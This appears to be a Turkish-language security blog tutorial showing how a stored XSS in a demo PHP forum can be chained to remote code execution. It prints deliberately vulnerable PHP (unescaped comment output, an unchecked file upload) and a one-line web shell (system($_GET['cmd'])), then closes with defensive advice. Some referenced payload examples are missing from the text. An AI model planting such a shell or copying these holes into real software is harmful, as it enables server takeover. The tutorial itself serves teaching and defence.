Unauthenticated Stored XSS'den RCE'ye Geçiş
Bu makalede, unauthenticated stored XSS'den (Cross-Site Scripting) uzaktan kod çalıştırmaya (RCE - Remote Code Execution) nasıl geçilebileceğini adım adım, teknik detaylar ve kod örnekleri ile açıklayacağız.
1. XSS ve RCE Kavramları
Cross-Site Scripting (XSS): Bir saldırganın, bir web uygulamasına kötü amaçlı JavaScript kodları enjekte ederek diğer kullanıcıların tarayıcılarında çalıştırmasına olanak tanıyan güvenlik açığıdır. XSS açıkları genellikle kullanıcı girdilerinin yeterince temizlenmediği durumlarda ortaya çıkar.
Stored XSS: Kötü amaçlı kodun bir veritabanında veya sunucu üzerinde kalıcı olarak saklandığı XSS türüdür. Kullanıcılar bu kötü amaçlı kodu ziyaret ettiklerinde tarayıcılarında çalıştırılır.
Remote Code Execution (RCE): Uzaktan kod çalıştırma saldırısı, bir saldırganın hedef sistemde kendi seçtiği kodu çalıştırabilmesine olanak tanır. Bu tür saldırılar, genellikle zafiyet barındıran uygulamaların kontrolünü tamamen ele geçirme amacı taşır.
2. Senaryo: Bir Forum Uygulaması Üzerinden Saldırı
2.1. Demo Uygulama: Forum Yazılımı
Bu senaryoda, PHP ve SQLite kullanarak basit bir forum uygulaması oluşturacağız. Bu uygulamada, kullanıcılar yorum yapabilir ve bu yorumlar veri tabanında depolanır ve tüm kullanıcılar tarafından görülebilir.
Veritabanı Şeması ve Oluşturulması
CREATE TABLE comments (
id INTEGER PRIMARY KEY AUTOINCREMENT,
comment TEXT NOT NULL
);
index.php - Forum Giriş Sayfası
<html>
<head>
<title>Simple Forum</title>
</head>
<body>
<h1>Welcome to the Simple Forum</h1>
<form action="post.php" method="POST">
<textarea name="comment" rows="5" cols="40" placeholder="Enter your comment here"></textarea><br>
<input type="submit" value="Post Comment">
</form>
<h2>Comments:</h2>
<?php
// Veritabanı bağlantısını aç
$db = new PDO('sqlite:forum.db');
// Yorumları çek ve göster
$result = $db->query("SELECT * FROM comments");
foreach ($result as $row) {
echo "<p>" . $row['comment'] . "</p>";
}
?>
</body>
</html>
Bu sayfa, kullanıcıların yorum yapmasına ve bu yorumların veritabanına kaydedilmesine olanak tanır.
post.php - Yorumların Gönderilmesi ve Kaydedilmesi
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$db = new PDO('sqlite:forum.db');
// Kullanıcıdan alınan yorum ham olarak veritabanına kaydediliyor.
$comment = $_POST['comment'];
$stmt = $db->prepare("INSERT INTO comments (comment) VALUES (:comment)");
$stmt->bindParam(':comment', $comment);
$stmt->execute();
header('Location: index.php');
}
?>
Yukarıdaki kodda, kullanıcının yaptığı yorum doğrudan veritabanına eklenir ve kullanıcıya geri gösterilir.
2.2. Stored XSS Zafiyetinin Keşfi
Veritabanına kaydedilen yorumların temizlenmeden çıkışa verilmesi nedeniyle, saldırganlar JavaScript veya diğer HTML kodlarını yorum olarak kaydedebilir. Örneğin, aşağıdaki kötü amaçlı yorum bir stored XSS saldırısına neden olur:
Bu yorum veritabanına kaydedilir ve diğer kullanıcılar bu yorumu görüntülediğinde tarayıcılarında bir uyarı mesajı görürler.
2.3. Stored XSS'den RCE'ye Geçiş
Eğer saldırgan, stored XSS açığından faydalanarak yönetici kullanıcıya bir payload çalıştırabilirse, yönetici oturum bilgilerini çalabilir ve daha sonra uygulama sunucusuna yükleme yapabilecek bir erişime sahip olabilir. Şimdi bu aşamayı nasıl gerçekleştireceğimize bakalım.
Örnek: Kötü Amaçlı Dosya Yükleme
Aşağıdaki kod parçası, saldırganın kullanabileceği basit bir dosya yükleme mekanizmasını göstermektedir:
if (isset($_FILES['file'])) {
$file = $_FILES['file'];
// Yüklenen dosyayı "uploads" dizinine taşı
move_uploaded_file($file['tmp_name'], 'uploads/' . $file['name']);
echo "File uploaded!";
}
?>
Bu kod parçasında, herhangi bir dosya türü kontrolü yapılmadan dosya yüklemesine izin verilmektedir. Saldırgan bu açıktan faydalanarak kötü amaçlı bir PHP dosyası yükleyebilir.
Örnek: Kötü Amaçlı PHP Dosyası (shell.php)
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
Bu dosya yüklendikten sonra, saldırgan sunucuda uzaktan komut çalıştırabilir:
Bu URL'yi ziyaret ettiğinde saldırgan, sunucunun "whoami" komutunun çıktısını görebilir.
2.4. Sonuç ve Güvenlik Önerileri
Bu senaryoda, basit bir stored XSS açığının nasıl daha ciddi bir güvenlik sorunu olan RCE'ye dönüştüğünü gördük. Aşağıda, bu tür saldırılardan korunmak için alınması gereken önlemler bulunmaktadır:
- Girdi Doğrulama ve Temizleme: Kullanıcıdan gelen tüm girdiler mutlaka temizlenmeli ve doğrulanmalıdır. HTML karakterleri uygun şekilde kaçışlanmalıdır (örneğin, PHP'de
htmlspecialchars()
fonksiyonu kullanılabilir). - Çıktı Kodlaması: Kullanıcı girdisi çıkışta kodlanmalı ve herhangi bir XSS saldırısına karşı korunmalıdır. Özellikle HTML, JavaScript veya SQL çıktılarında dikkat edilmelidir.
- Dosya Yükleme Kontrolleri: Yüklenen dosyaların türleri sıkı bir şekilde kontrol edilmeli ve yalnızca güvenli dosya türlerine izin verilmelidir. Ayrıca, yüklenen dosyaların çalıştırılabilir olmasını engellemek için güvenli dizinlerde saklanmaları sağlanmalıdır.
- Kimlik Doğrulama ve Yetkilendirme: Kullanıcıların yetki düzeylerine göre işlemler kısıtlanmalı ve saldırganın yetki yükseltme yapması engellenmelidir.
- Güvenlik Duvarı ve IDS/IPS Kullanımı: Güvenlik duvarları ve saldırı tespit/önleme sistemleri kullanılarak kötü niyetli trafik tespit edilmeli ve engellenmelidir.
- Güvenlik Güncellemeleri ve Yamalar: Kullanılan yazılım bileşenleri düzenli olarak güncellenmeli ve bilinen güvenlik açıklarına karşı yamalar uygulanmalıdır.
Bu adımlar, uygulamanızın güvenliğini artırmak için kritik öneme sahiptir ve uygulamanızı hem XSS hem de RCE gibi saldırılara karşı daha dayanıklı hale getirir.
Yorumlar
Yorum Gönder